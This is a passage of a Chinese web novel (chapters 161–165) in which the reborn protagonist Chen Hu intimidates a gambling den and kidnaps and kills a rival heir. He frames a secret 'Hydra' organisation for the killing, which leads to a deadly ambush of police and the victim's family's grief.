周围的赌徒们顿时都吓得脸色苍白,像一群见了鬼的兔子一样。 四个五大三粗的赌场打手,顿时就围了过来,他们一个个凶神恶煞,像一群恶犬一样。 原本,陈虎这一桌赌博的不正常情况,尤其是陈虎一直赢,就已经引起了他们这几个打手的注意。 现在,陈虎竟然除了用钱之外,还带枪赌命,在这四个赌场打手看来,陈虎这不明显是来挑事的吗? 领头的那个打手诨号叫黄毛,留着鸡冠头,满脸横肉,活像一只斗鸡。 “小子,你他娘的想干什么?”黄毛恶狠狠地问道,语气像砂纸一样粗糙。 陈虎闻言,连眼皮都没抬一下,就像是没听到一样。 他拿起手枪,顶在了黄毛的额头上,枪口冰冷的触感直接就让得黄毛打了个哆嗦。 “猜猜,这枪里面有没有子弹?”陈虎语气平静,却带着一股森然的杀气。 黄毛闻言,脸色瞬间变得煞白,像一张白纸一样。 他感觉他的心脏都快要跳出来了,像一只被追赶的兔子一样。 “有……有……”黄毛的声音颤抖着,像风中的树叶一样。 看到黄毛的样子,陈虎的嘴角不由得勾起了一抹冷酷的弧度,眼神像刀锋一样锐利。 “赌输了,你的命就没了!” 陈虎说完就扣动扳机,但子弹却没射出。 “咔哒”一声,是空枪! 黄毛听到枪声,当即就腿一软,瘫坐在地上,像一滩烂泥一样。 周围的赌徒们见此,也被吓得魂飞魄散,像一群受惊的鸟一样。 陈虎看到黄毛的样子,不由得冷笑一声,然后收起了手枪。 “带我去见刘三刀!” 黄毛闻言,哆哆嗦嗦地爬起来,像一只被踩扁的蟑螂一样,经历了刚才的事情,他连说过都不利索了。 “好……好……我这就带您去……” 陈虎跟着黄毛穿过赌场,来到一间豪华的办公室。 路上,赌场里面的其他打手们闻讯也都向办公室聚集。 此时,这办公室里,有一个身材魁梧的男人正坐在老板椅上,他的手里夹着一根雪茄,吞云吐雾,像一头肥猪。 这男人就是刘三刀,城东堂口的负责人。 “三爷,就是这小子……”黄毛指着陈虎说道,但他说话的声音就像蚊子嗡嗡作响一样,太弱了。 刘三刀闻言,立刻就上下打量着陈虎,眼神像鹰隼一样锐利。 “没想到是你小子,你胆子不小啊!竟然敢来我的地盘上闹事!” 陈虎一言不发,他根本就没把刘三刀放在眼里,直接走到刘三刀的面前,一拳打在了他的脸上。 刘三刀像个沙袋一样,直接就飞了出去,重重地摔在地上,像一只死猪。 办公室里面的其他赌场打手们,看到这一幕时,当即全部都愣住了,就好像一群木头人一样。 陈虎随后捡起刘三刀掉在地上的手枪,熟练地卸下弹匣,检查了一下子弹。 紧接着,陈虎就用这把手枪,开启了他的计划。 “带路,城外!” 陈虎用枪指着刘三刀,语气冰冷。 刘三刀此时疼得捂着肿胀的脸,像一只被打懵的狗一样,完全不知所措。 “你……你想干什么……” “少废话!跟我走!” 陈虎随后押着刘三刀,一起离开堂口。 办公室内的赌场打手们,也不都是没有主见,任由陈虎劫持走刘三刀的。 有三个刘三刀的亲信,直接就挡在了陈虎的面前,试图用言语恐吓陈虎,让陈虎放了刘三刀。 “放了三爷,不然……” 其中站在最中间的那个人,语气还有些打颤的开口。 然而,陈虎就不给他机会,用枪声打断他。 陈虎眼神一冷,毫不犹豫地开枪。 “砰砰砰……” 连续三声枪响,那三个拦路的打手应声倒地,鲜血溢满了办公室。 刘三刀吓得脸色惨白,像一张白纸。 就是在场的其他赌场打手,虽然他们也参加过火拼,但多数都是用刀棍来参与,根本就没有见识过这种血腥的场面。 陈虎面无表情的劫持着刘三刀,从那三个倒在血泊之中的打手的身上跨过。 然后,陈虎押着刘三刀,来到了城外的一片荒地。 “我想你应该知道我是谁,我就不用自我介绍了。说吧!司宫让你干什么?” 刘三刀浑身颤抖,像筛糠一样。 “我……我什么都不知道……” 陈虎闻言,直接冷笑一声,而后用枪托狠狠地砸在刘三刀的头上。 刘三刀惨叫一声,直接晕了过去,像一滩烂泥。 陈虎接着又给了刘三刀十个巴掌,直接把他打醒。 “我再问你一遍,司宫让你干什么?” 刘三刀此时终于崩溃了,像个孩子一样大哭了起来。 “我说……我说……司宫让我……让我……” 刘三刀断断续续地交代了司宫的计划。 陈虎听完,眼神冰冷。 “司家,快完了!” 刘三刀闻言直接就愣住了,像一只被吓傻的兔子。 “你……你说什么……” “孙家,你应该知道吧?” 刘三刀听到这话,连忙点了点头,像小鸡啄米一样。 “孙老什么身份?德高望重,司宫与司家不过是连给孙老提鞋都不配的玩意儿罢了!” 陈虎拍了拍刘三刀的脸,像拍一只西瓜一样。 “以后,孙家就是你的靠山!” 刘三刀闻言,眼神闪烁,心中思虑,像一只狡猾的狐狸。 “你……你真的能保我?” “只要你乖乖听话!” 陈虎语气平静,却带着一股不容置疑的威严。 刘三刀思考片刻,像是在权衡利弊。 最终,他点了点头,像一只被驯服的狗。 “我……我听你的……” 闻言,陈虎的嘴角当即就勾起了一抹冷酷的弧度,眼神像刀锋一样锐利。 “很好!” 陈虎看着刘三刀,就像看着一条摇尾乞怜的野狗一样。 “今天的事儿,处理干净!” 刘三刀得到陈虎的命令,点头如捣蒜,像一只受惊的鹌鹑一样。 “虎爷放心!小的明白!” 陈虎随后转身离去,身影消失在夜色中,像一只幽灵一样,没有固定的踪迹。 刘三刀望着陈虎的背影,眼神复杂似一潭浑水。 夜幕笼罩着县城,像一张巨大的黑网。 陈虎驾着车,像一匹脱缰的野马,在街道上飞驰。 他现在要去司家! 司家,县城里面的庞然大物,像一头蛰伏的猛兽。 直接动手,风险太大,不亚于是在刀尖上跳舞。 陈虎心里反复盘算着,像一台精密的机器。 他现在需要一个计划。 一个万无一失的计划! 恐怖袭击? 陈虎的脑海之中,不由得闪过一个念头,像一道闪电。 很快,想通了什么,陈虎的嘴角当即就勾起了一抹冷酷的弧度,像一把出鞘的利刃。 司家大院,灯火通明,像一座金碧辉煌的宫殿。 陈虎悄无声息地潜入,他身手矫健,像一只灵活的猿猴,在屋顶上穿梭。 他找到了司宫的房间,像一只猎犬一样,找到了他的猎物。 而后,陈虎推开窗户,像一阵风一样,飘了进去。 司宫此时睡得正香,睡得像一头猪一样。 陈虎悄悄走到床边,好似死神降临一般。 随即,陈虎一把掐住司宫的脖子,就像是一只铁钳锁住了猎物。 感受到了窒息,司宫当即便惊醒,如同一只被惊扰的兔子般,满脸惊愕。 司宫此时瞪大了眼睛,像看到了鬼一样。 “你……你是谁……” 屋内昏暗,没有开灯,再加上司宫有些窒息缺氧,眼神更加看不清陈虎的样子。 陈虎没有说话,像一尊冰冷的雕像。 他一拳打在了司宫的肚子上,他的力道大得直接就让得司宫闷哼一声,然后像一只泄了气的皮球,晕了过去。 陈虎随后扛起司宫,离开了房间,像来时一样悄无声息。 但在临行前,陈虎特地在墙上留下一个标志——一个九头蛇组织的标志。 那标志如同一条毒蛇,吐着猩红的信子。 陈虎看着这个标志,眼神冰冷,像一块万年寒冰。 随后,陈虎便扛着司宫,悄然离开了司家,就像一阵风一样,消失在了夜色之中。 他知道,一场风暴,即将到来! 第一卷 第162章 阴谋展开 汽车在县城外的荒地上驶向北边,引擎的轰鸣声,打破了夜晚的寂静。 开车时,陈虎的脑海中,一直浮现着九头蛇的标志。 三叉蛇尾,冰冷而邪恶! 九头蛇,一个庞大而神秘的组织,如同潜伏在暗处的巨蟒,伺机而动。 陈虎的前世,几乎全部都奉献给了九头蛇这个组织。 从十八岁加入九头蛇,到三十五岁重生,一共整整十七年。 他执行过无数次的任务,一直游走在生死边缘,却始终无法触及到组织的核心。 创始人是谁? 组织规模有多大? 组织的最终目的又是什么? …… 这些问题,始终都困扰着陈虎。 他只知道,九头蛇的触角遍布全球,各个国家,各个领域……都有九头蛇成员的身影。 他们像一群幽灵一样,操纵着世界格局,却又隐藏得极深,不为人知。 并且,他们的组织结构如同金字塔,层层叠叠,等级森严。 每个分支都相对独立,只对上一级负责,甚至于每个分支都不知道其它分支的存在。 这种分散式的结构,使得九头蛇极难被彻底摧毁。 即使一个分支被消灭了,也不会影响到九头蛇整个组织的运作。 陈虎从副驾上昏迷的司宫的衣服兜里面,取出了一盒香烟。 点燃一支香烟后,陈虎深吸了一口,尼古丁的味道随即让他略微清醒了一些。 这东西自他重生过后,他已然有好几个月没有碰过了。 而陈虎此行的目的地,是九头蛇在县城北方三十公里外的一个分支基地。 那里位于一个隐蔽的山谷中,易守难攻! 陈虎将昏迷的司宫扔到车子的后座上,像是丢弃一个破旧的玩具一样。 他打算把司宫带到九头蛇的基地,嫁祸给这个神秘的组织。 这样一来,既可以除掉司宫这个麻烦,又能转移视线,保护他自己和孙家。 车子在崎岖的山路上颠簸,车灯照亮前方蜿蜒的道路。 陈虎紧握着方向盘,眼神坚定,像一个无所畏惧的战士。 他心里很清楚,这次行动充满了危险。 但他必须去做,为了保护自己,保护家人,保护他所珍视的一切。 一个小时后,车子停在了山谷入口。 陈虎下车,扛起司宫,沿着一条羊肠小道,向山谷深处走去。 夜色浓重,山谷里面静悄悄的,只有风吹树叶的沙沙声。 陈虎的脚步轻盈而稳健,像一只夜行的猎豹。 他很快就找到了九头蛇的基地。 那是一座隐藏在山洞中的建筑,仔细看,就会发现这应该是一个废弃矿场,门口有四名武装人员站岗。 陈虎悄无声息地靠近,像一个幽灵。 他迅速出手,干净利落地解决了守卫。 然后,他将司宫拖进山洞,扔在一个空旷的房间里面。 陈虎在房间里面伪造出打斗的痕迹,再将门外守卫的尸体,给拖了进来。 接着,陈虎又朝着司宫左边的胸腔,狠狠一刀扎下,确保将其一击毙命! 他要让九头蛇的人以为司宫是闯入者,守卫的死出自司宫之手! 司宫若是死了,在九头蛇成员的眼中,司宫是闯入者,被自己的组织成员截杀,而与司宫一同的应该还有同伙,这个闯入者在扔下了同伙司宫之后,就独自离开了! 做完这一切,陈虎迅速离开了山谷。 他回到车子上,发动引擎,离开了这个是非之地。 他知道,用不了多久,九头蛇的人就会发现司宫的尸体。 到时候,一场腥风血雨,就在所难免。 但这一切,都与他无关了。 陈虎只需要静静地等待,看着这场好戏上演。 陈虎驾车返回县城,一路上一言不发。 他心里很平静,没有丝毫的波澜。 对他来说,这只是一场游戏,一场生死游戏。 而他,是这场游戏的掌控者! 县城的夜,沉寂如一口深井。 陈虎的身影,在黑暗之中穿梭,如同一道无声的幽灵。 他再次潜入司家大宅,没有惊动任何警卫,也没有触发任何警报。 对陈虎来说,这栋戒备森严的宅邸,如同虚设。 他轻车熟路地来到司宫的房间,推门而入。 房间里面,空无一人,弥漫着淡淡的檀香味。 刚才潜入司宫房间时,陈虎并没有时间去细品。 现在仔细闻一闻,感受檀香的味道,陈虎不禁感慨司宫这样的人家,确实会享受。 陈虎走到书桌前,然后从他的口袋里面,掏出一张纸和一支笔。 他随即在纸上,写下了一封勒索信。 “司宫在我手中,想要他活命,就拿一百万现金,到城北三十公里外的废弃矿场来换。记住,不许报警,否则撕票!” 信的末尾,陈虎又画上了九头蛇的标志——三叉蛇尾。 并且,陈虎还在勒索信的下方,写明了废弃矿场的具体位置。 陈虎将勒索信放在了司宫的枕头边,然后仔细地抹去了他在司宫房间内留下的所有痕迹。 指纹,脚印,毛发,气味…… 任何的蛛丝马迹,都逃不过他敏锐的观察力。 做完这一切后,陈虎便悄无声息地离开了司家,就像他从未出现过一样。 东方渐白,天际泛起鱼肚白。 陈虎驾驶着吉普车,回到了小镇。 他径直来到了孙家,然后敲响了孙家大门。 “陈虎?这么早?” 孙若薇打开大门后,看到陈虎有些惊讶。 “睡不着,过来看看!”陈虎闻言,淡淡一笑道。 “爷爷已经起来了,现在正在院子里面打太极呢!” 陈虎随后跟着孙若薇来到院子,就看到了孙老正在练习太极拳。 “孙老,早啊!”陈虎连忙和孙老爷子打起招呼道。 “小虎来了啊!一起吃早饭吧!”孙老慈祥地笑道。 之后,陈虎、孙若薇和孙老三人,便在餐桌上吃着早饭。 “司家的事情,怎么样了?”孙若薇突然问道。 “还在处理!”陈虎语气平静,并没有透露出任何细节。 “司宫可不是个好对付的角色,你要小心点!司家在整个马关口的一些作为,我倒是偶有听说,他们盘根错节的势力分布,你若是一只脚陷进去了,很多时候,你小子就是拿老头子我这张老脸摆出去,估计也不好使。”孙老这是在着重提醒陈虎,生怕陈虎用他的老脸不顶用,最后还会吃亏。 “我知道!”陈虎闻言,点了点头。 陈虎同时也清楚恐怕他以后很难再用孙老的名头,去对付那些依附于司家的人了。 毕竟,司宫没了,司家估计就不会把注意力放在他的身上了。 并且,陈虎的心里很清楚,司宫的失踪,很快就会引起轩然大波。 而他留下的那封勒索信,则将会把所有的矛头,全部都指向九头蛇。 一场精心策划的阴谋,正在悄然展开! 第一卷 第163章 这种人,你玩不起! 陈虎平静地吃着早餐,仿佛一切都在他的掌控之中。 吃过早饭后,孙老叫上了陈虎与之对弈。 “棋逢对手啊!小虎!” 孙老捻着棋子,笑呵呵地说道。 “孙老棋艺精湛,小子甘拜下风!” 陈虎拱手,脸上带着谦逊的笑容。 “输赢乃兵家常事,不必在意!”孙老摆摆手,而后突然问道:“我倒是想问问你,在乱世之中,什么才是最重要的?” 陈虎略一沉吟,随即十分坚定的回道:“活下去!” “仅仅是活下去吗?”孙老追问,目光如炬。 “活着,并且保护我想保护的人。”陈虎补充道,语气坚定。 “好一个保护想保护的人!”孙老闻言,点了点头,随后又问道:“那如果为了保护他们,需要你付出一切,甚至于生命呢?” “在所不惜!” 陈虎目光紧盯着孙老,毫不犹豫地回答。 孙老听到陈虎这话,不由得深深地看了陈虎一眼,没再说话,只是默默地拿起茶杯,轻抿了一口。 至于孙老到底信了陈虎几分,也就只有孙老自己知道了。 毕竟,人心隔肚皮,漂亮话谁都会说。 孙老不相信陈虎,那也是有道理的。 孙若薇在一旁静静地听着,不时为陈虎和她爷爷两人添茶。 她能够感觉得到爷爷今天问的问题,似乎都意有所指。 而陈虎的回答,也让她感到一丝不安。 “小虎啊,你的心中可有……畏惧?”孙老突然放下茶杯,缓缓问道。 “畏惧?”陈虎闻言,不由得轻蔑的笑了笑道:“自古以来,畏畏缩缩者终一事无成,胆大者却可驾龙驭虎。我心中唯一的畏惧,就是在我的执念未曾消解前,却中道崩殂。” “这世间,最可怕的不是死亡,而是失去!”孙老听了陈虎的话后,却是意味深长地接了一句话。 陈虎沉默了片刻,而后目光灼灼的盯着孙老,认真说道:“不!我认为最可怕的是有的事情超出掌控之外,但这也恰恰是命运最有趣味的地方。” 时间一分一秒地流逝,棋局也接近尾声。 最终,陈虎以微弱的劣势,输掉了这盘棋。 “都下了这么久的棋了,我也该回去了!”陈虎下完棋后,就起身说道。 “等等!”孙若薇这时候叫住陈虎道:“项目启动资金已经准备好了,相关文件也下来了。” “这么快吗?”陈虎听到孙若薇这话,有些惊讶。 “我办事,你放心!”孙若薇扬了扬下巴,带着一丝骄傲。 “下一步,你打算怎么做?”孙若薇说完,又问道。 “还是得先去县城一趟,有些事情需要处理。”陈虎回道。 “一切小心!”孙若薇叮嘱道,“这可是我的嫁妆,你要是搞砸了,我可就只剩个人了。” 陈虎闻言,看着孙若薇,眼神之中,闪过一丝复杂的情绪。 他知道,孙若薇是在开玩笑,但玩笑的背后,却隐藏着深深的担忧。 这笔钱,对孙家来说或许不是什么,但对于孙若薇来说,调动这笔资金就是赌上了命运,意义非凡。 如果他失败了,不仅项目会付诸东流,他和孙若薇之间的关系,也会成为泡影。 除非……他愿意放弃一切,带着孙若薇远走高飞。 可孙若薇又会愿意吗? 显然,这不太可能! 但那样的代价,是他能够承受的吗? 陈虎心中一阵轻笑,他会保证这种情况不会发生的。 “放心吧!我会证明你今天的眼光独到。”他笑着说道,语气之中,充满了自信。 随即,陈虎转身离开,身影渐渐消失在孙家的门口。 孙若薇站在原地,望着陈虎离去的方向,心中有些激动,又满是担忧。 “薇薇啊……”孙老叹了口气,走到孙若薇的身边。 孙若薇此时,目光正望着陈虎消失的方向出神。 “爷爷!” 过了好几秒钟,孙若薇回过神来。 “这陈虎……不简单啊!”孙老缓缓说道,语气里面,带着一丝担忧。 孙若薇闻言,点了点头道:“我知道!” “你知道什么?”孙老看着孙若薇,眼神里面,充满了探究。 “我知道他……和别人不一样!”孙若薇犹豫了一下,还是说了出来。 “哪里不一样?”孙老追问道。 “他……有股子狠劲儿!”孙若薇咬了咬嘴唇,慢慢说道:“一股子为了目的不择手段的狠劲儿!” 孙老听到孙若薇这话,眉头紧锁道:“你说的没错!这种人我见过,不多!但每一个,都让我印象深刻!” 顿了顿,孙老似乎在回忆什么。 “他们有自己的想法,很坚定,也很固执!” 说完,孙老又补充道:“固执到近乎偏执!” “为了达到目的,他们往往会走向极端。” “甚至于,不惜一切代价!” 孙若薇闻言,不由得沉默了,她知道爷爷说的是对的。 陈虎就是这样的人! “这种人,到最后只有两种可能!”孙老说话时,伸出了两根手指。 “一种,成为疯子!” “另一种,成为天才!” 听了爷爷的话,孙若薇的心猛地一沉。 “薇薇,爷爷是过来人。”孙老语重心长地说道:“这种人,你玩不起!” “你和他在一起,只有两种结果。” “一种,是被他带着一起跌入深渊!” “另一种……”孙老顿了顿,似乎有些难以启齿。 “另一种,是被他当成棋子,随时可以牺牲。” 孙若薇听到这里,不由得抬起头,目光真诚的看着孙老道:“爷爷,我相信陈虎!” “相信陈虎?”孙老闻言,不由得苦笑着问道:“你相信他什么?” “相信他会成功?” “还是相信他不会伤害你?” “我……我相信我的选择。”孙若薇说这话时,语气异常的坚定。 “薇薇啊,你还是太年轻了!”孙老不由得叹了口气道:“你不懂!这种人,他们的心里往往就只有目的!” “为了目的,他们可以放弃一切!” “包括……感情!” 孙若薇听到孙老这话,咬着嘴唇,没有说话。 “你以为他真的爱你吗?”孙老又问道,语气有些尖锐。 “或许是爱的,但这份爱,在他心里,能占多少分量?” “一成?两成?” “还是根本就没有?”说到最后,孙老的语气异常浓烈,似乎透露着浓浓的人生经历的感慨。 孙若薇的眼眶都红了,但她仍然倔强地没有掉眼泪。 “爷爷,我相信陈虎!”孙若薇重复道。 孙老闻言,认真的看着孙若薇,眼里满是无奈。 他知道,他说什么都没用了,孙若薇现在已经彻底陷进去了。 “唉……”孙老长叹一声,不再劝说。 随后,孙老走到窗边,望着陈虎离去的方向,又陷入了沉思。 “或许……这种人更容易掌控,只需要……”孙老喃喃自语,眼里闪过一丝精光。 最后,孙老转过身,看着孙若薇道:“薇薇,你真的相信他吗?” 孙若薇闻言,目光坚定语气异常信任道:“我相信!” “好!”孙老点了点头,看着孙若薇,十分认真的说道:“既然你相信他,那就好好帮他!” “帮他完成他的目标!” “只有这样,你才能知道,他到底值不值得你去相信!” 孙若薇闻言,不由得十分仔细的看着孙老,有些疑惑,她不明白为什么爷爷会突然就改变了对陈虎的态度。 “爷爷……”孙若薇想问孙老什么,只是却被孙老给打断了。 “去吧!”孙老摆了摆手,叮嘱孙若薇道:“去做你该做的事情!” 第一卷 第164章 为了目的,他可以不择手段! 孙若薇听话的离开了。 房间里面,随后只剩下孙老一个人。 未几,孙老走到窗边,再次望向陈虎离去的方向。 “陈虎啊陈虎……”孙老突然喃喃自语。 “你到底是什么人?” “你到底想干什么?” “希望……你不要让我失望!” 孙老的眼里,充满了复杂的情绪。 有担忧,有期待,还有一丝’恐惧。 就在这时,客厅的电话响起。 孙若薇接起电话后,刚听完电话那头的动静,立马就跑回来,一脸惊愕的对孙老说道: “爷爷!司宫失踪了!” “这小子,到底想干什么?”孙老的脸上,并没有露出惊讶的表情,他静静站在窗前良久后,突然自言自语道。 窗外,小镇的街道上,人来人往,一片祥和。 但这祥和的景象,却无法驱散孙老心中的不安。 “司家,可不是好惹的!”孙老眯起眼睛,眼中闪过一丝精光。 “司宫失踪,司家必然震怒!” “这小子,这是在玩火啊!” 孙老走到桌边,给自己倒了一杯茶。 滚烫的茶水,却无法温暖他冰冷的内心。 “他就不怕引火烧身吗?” “还是说……他有什么依仗?” 孙老轻轻抿了一口茶,眉头紧锁。 “这小子,太神秘了!” “他的身上,充满了谜团!” “我活了这么多年,见过形形色色的人。” “但像他这样的人,还是第一次见!” 孙老放下茶杯,在房间里面,来回踱步。 “他到底是什么人?” “他到底想干什么?” 孙老的心里,充满了疑问。 他不知道答案,但他知道,为了他的孙女,他必须要弄清楚才行。 “薇薇,这丫头,太单纯了!” “她根本就不知道她面对的,到底是一个什么样的人。” “她以为,陈虎是真心爱她。” “但她错了!” 孙老说到这里,却是停下了脚步,眼中闪过一丝冷意。 “陈虎这种人,心里只有目的。” “为了目的,他可以不择手段!” “包括利用薇薇!” “陈虎,你要是能解决司家的问题,那就是时候有必要给你上一道枷锁了!” “毕竟,不是家养的狗,狠起来的话,那是谁都敢咬的!” …… 与此同时,司家大宅内,一片混乱。 “少爷不见了!” “少爷不见了!” “少爷不见了!” …… 佣人们惊慌失措地四处寻找。 司宫的父亲,司老爷子,此时脸色铁青地坐在大厅里。 他的手里,正紧紧攥着那封勒索信。 信上的九头蛇标志,让他感到一阵心惊肉跳。 “九头蛇!”司老爷子咬牙切齿地大喊道。 “该死的九头蛇!” “他们竟然敢动我儿子!” 说完这些,司老爷子的眼中已经充满了愤怒和杀意。 “来人!”司老爷子突然大声喊道。 “立刻报警!” “该死的老鼠,敢在太岁头上动土!” 很快,警察就赶到了司家。 督察仔细询问了情况,并查看了勒索信。 “城北三十公里外的山谷?”督察看到勒索信上提到的地点,不由得皱起了眉头。 “那里好像是一个废弃的矿场!” “据说,那里曾经发生过一些奇怪的事情。” “有人说,那里闹鬼!” 司老爷子闻言,不由得冷哼一声道:“鬼?我不信鬼!” “我只相信,那里是九头蛇的藏身之处!” “督察,立刻带人去那里!” “一定要把我的儿子救回来!” 督察闻言,当即点了点头道:“司先生,请放心!” “我们一定会尽力寻找司公子的!” 督察随后带着一队警察,赶往了城北三十公里的山谷。 那里,正是陈虎布置的假九头蛇基地。 警车一路疾驰,很快就到达了目的地。 山谷里面,一片寂静。 只有呼啸的风声,在山谷之中回荡。 “下车!” 督察一声令下。 警察们纷纷下车,开始布控。 就在这时,枪声突然响起。 “哒哒哒……” “砰砰砰……” 密集的子弹,直接从山谷里面的各个方向射来。 警察们措顿时手不及,纷纷中弹倒地。 “有埋伏!”督察当即大声喊道。 “隐蔽!” 警察们迅速寻找掩体,与敌人展开激烈的交火。 山谷里面,枪声震天,火光冲天。 一场激烈的战斗,就此展开。 硝烟弥散,空气之中,弥漫着刺鼻的火药味。 直到战斗停息,山谷里面,顿时一片死寂。 只有风声在呜咽,仿佛是在为逝去的生命哀悼。 地上,横七竖八地躺着警察的尸体。 鲜血染红了这方黑土地,显得触目惊心。 弹壳散落一地,在阳光下,闪烁着冰冷的光芒。 四辆警车被打成了筛子,车窗玻璃全部破碎。 轮胎也瘪了下去,无力地瘫在地上。 山谷的入口处,燃烧着一堆熊熊大火。0 九头蛇这处基地的成员在撤离之前,直接就放了一把大火,焚烧了基地内所有的资料与九头蛇组织的痕迹。 火焰跳跃着,吞噬着一切。 浓烟滚滚,遮天蔽日。 “咳、咳……” 一声微弱的咳嗽声,瞬间打破了山谷的宁静。 一个九头蛇成员,突然挣扎着从地上爬了起来。 他的腿部中弹,鲜血汩汩流出。 “救命……”他虚弱地喊道。 “救救我……” 他艰难地向面前的同伴爬去。 “老大……”他用尽最后的力气,呼唤着同伴。 “别丢下我……” 同伴回头看了他一眼,眼中随即就闪过了一丝厌恶。 “废物!”他冷冷地开口道:“连这点儿伤都受不了!” 受伤的成员闻言,不由得愣住了。 他不敢相信他的耳朵。 “老大……”他颤抖着说道。 “你……你要干什么?” 同伴依旧没有回答。 他直接举起手中的枪,对准了受伤成员的头部。 “砰!” 一声枪响,划破了山谷的寂静。 受伤成员的头部,爆出一团血雾。 随即,这名受伤成员的身体,就重重地倒在了地上。 “拖累!”同伴不由得啐了一口道:“这种废物,活着也是浪费粮食!” 他和其他的九头蛇成员,随后头也不回地离开了山谷,只留下这名受伤成员的尸体,孤零零地躺在泥泞地里。 很快,他的尸体就被厚厚的大火与硝烟掩埋。 山谷里,再次恢复了宁静。 仿佛什么都没有发生过一样。 远处,几名侥幸逃脱的警察,正踉跄着逃离。 他们的身上,此时都带着伤,脸色苍白。 而他们的眼中,则充满了恐惧。 “快跑!”其中一人连连大喊道:“快离开这个鬼地方!” 他们拼命地奔跑着,根本酒不敢回头。 他们知道,如果被九头蛇追上的花,那它们就必死无疑。 他们随即离婚跑出了山谷,跑出了这片死亡之地…… 直到他们逃回了警局,向督察报告了这里所发生的一切事情之后,督察听完了他们的报告,脸色顿时铁青。 督察完全就没有想到九头蛇竟然如此强大,甚至于敢公然袭击警察。 “该死的九头蛇!”督察咬牙切齿地说道:“我一定要将他们绳之以法!” 他立刻下令,全城搜捕九头蛇。 一场更大规模的战斗,即将展开。 而这一切的始作俑者,陈虎。 此刻,正悠闲地坐在家中,喝着热茶。 “司家,九头蛇……”陈虎喃喃自语,低声说道:“游戏,才刚刚开始!” 说完,陈虎就放下了茶杯,站起身来,然后走到窗前,目光深沉的望着远方。 陈虎的眼中,此时充满了自信和野心。 他知道,他最终肯定是会赢得这场游戏的! 第一卷 第165章 不共戴天 督察的吉普车停在司家的别墅门前,车身沾满泥泞,像是刚从泥潭里面拔出来一样。 他随即深吸了一口气,抹了把脸上的灰尘,这才推开车门,走了下来。 春寒料峭,风中夹杂着细雨,打在他的脸上,有些刺痛。 督察裹紧了身上的风衣,然后快步走向司家的别墅大门。 “叮咚、叮咚、叮咚……” 门铃声在寂静的别墅里面回荡。 很快,别墅大门被打开,一个穿着制服的佣人探出头来。 “督察先生?”佣人很快就认出了来人的身份道:“老爷和夫人正在等您呢!” 督察闻言,点了点头,然后跟着佣人,走进了别墅。 别墅大厅里面,此时弥漫着一股压抑的气氛。 司老爷子坐在沙发上,脸色铁青,手里紧紧的攥着一根拐杖。 司宫的母亲则坐在一旁,双眼红肿,不停地用手帕擦拭着眼泪。 看到督察进来,司母一下子站了起来,冲到督察的面前。 “我儿子呢?”司母情绪失控的哭喊道:“我儿子在哪里?” “夫人,请您冷静!”督察尽量用平和的语气说道:“我们正在全力搜救司宫少爷!” “冷静?”司母闻言,直接尖叫起来道:“你让我怎么冷静?” “我的儿子被绑架了,生死未卜,你让我怎么冷静?” 司母一把抓住督察的衣领,歇斯底里地摇晃着。 “你必须找到我儿子!必须!” 司老爷子看到司母这样子,直接重重地用拐杖敲了敲地方,怒喝道:“够了!” 闻言,司母这才慢慢地松开了督察的衣领,然后瘫坐在沙发上,低声啜泣起来。 司老爷子锐利的目光扫过督察,语气冰冷。 “说吧!到底怎么回事?” 督察闻言,不由得深吸了一口气,然后将矿场里面发生的事情,一五一十地告诉了司老爷子。 随着督察的讲述,司老爷子的脸色却是越来越难看了。 他怎么也都没有想到事情竟然会发展成这个样子! “一群废物!”司老爷子猛地将拐杖砸在地上,发出了“嘣”的一声巨响。 “家里这么多人,连个人都看不住!” “还有你们!”司老爷子随后又指着督察,怒吼道:“都是干什么吃的!” “你们没把司宫救回来,竟然还有脸回来?” 督察听着司老爷子的训示,低着头,完全不敢反驳。 “现在并不是追究责任的时候!”督察等司老爷子训示完,这才冷静的提出建议道:“当务之急是找到司宫少爷!” “我已经下令全城搜捕九头蛇,相信很快就会有消息的。” “全城搜捕?” 司老爷子闻言,不由得冷笑一声道:“你以为九头蛇是什么?是路边的阿猫阿狗吗?” “他们能如此猖狂,背后肯定有人撑腰!” “就凭你们这些饭桶,能找到他们才怪!” 说到这里,司老爷子随即就走到电话处,接着拿起电话,拨通了一个号码。 “喂!老李吗?是我!” “我需要你的特警队!” “立刻!马上!” “对!就是现在!” 打完电话后,司老爷子就粗暴用力的挂断了电话,然后看向督察,眼神之中,充满了愤怒和失望。 “希望你们警方,不要让我太失望!” 督察的手机铃声,这时候却是突然响了起来,直接就划破了司家别墅内凝重的寂静。 而后,督察接起电话,听着电话里面传来的消息,他的脸色就逐渐变得煞白。 “什么?” 督察颤抖着声音问道:“发、发现……尸体了?!” 电话那头的声音,低沉而压抑。 “确认是司宫少爷吗?” 这句话,几乎是督察从他的牙缝里面硬生生地挤出来的。 “确认!” 电话那头传来的声音,却是带着一丝无奈。 “在九头蛇基地发现的人。” “死因……” 督察此时不由得深吸一口气,努力让他自己保持冷静。 “看样子……昨晚就已经遇害了!” 督察挂断电话,随后浑身无力地靠在墙上。 他缓缓抬起头,看向司老爷子和司母。 而后,他的嘴唇动了动,却不知道他该怎么开口。 司母似乎预感到了什么,猛地站了起来。 “我儿子呢?” 司母颤抖着声音,急切问道:“找到我儿子了吗?” 督察闻言,艰难地咽了咽口水。 “夫人……” 督察的声音沙哑。 “我们……” “我们找到了司宫少爷。” 司母听到这里,眼睛里面,顿时就闪过了一丝希冀。 “他在哪里?”司母急切地说道:“带我去见他!” 督察问完,先是陷入了短暂的沉默。 而后,督察才轻轻地开口,声音低得几乎听不见:“夫人……” “司宫少爷……他已经……” 司母听着督察这断断续续的话后,顿时就愣住了,她似乎并没有听懂督察的话。 “你说什么?” 四母茫然地问道。 “我儿子怎么了?” 督察随后闭上眼睛,深吸一口气,大声说道:“司宫少爷……他已经……遇害了。” 这句话如同晴天霹雳,击中了司母,直接就让得司母踉跄后退,撞到身后的沙发上。 “不……” 司母随即就发出一声撕心裂肺的哭喊。 “不可能……” “我的儿子……” 司母捂着脸,放声大哭。 司老爷子手中的拐杖,这时候掉落在地上,发出一声“哐”的沉闷的响声。 而后,司老爷爷整个人摇摇晃晃的慢慢坐在了沙发上,他那副呆滞的样子,仿佛一瞬间老了十岁。 他的嘴唇颤抖着,却发不出任何声音。 司母的哭声越来越大,越来越凄厉。 “司宫……”四母哭喊着她儿子司宫的名字,并且不断地捶打着她的胸口。 司老爷子随后缓缓抬起头,浑浊的眼睛里面,已经充满了血丝。 随后,司老爷子看向督察,声音嘶哑。 “九头蛇……” 司老爷子一字一顿地说道:“我要让你们……血债血偿!” 随后,司老爷子颤抖着拿起电话,开始拨通了一个又一个号码。 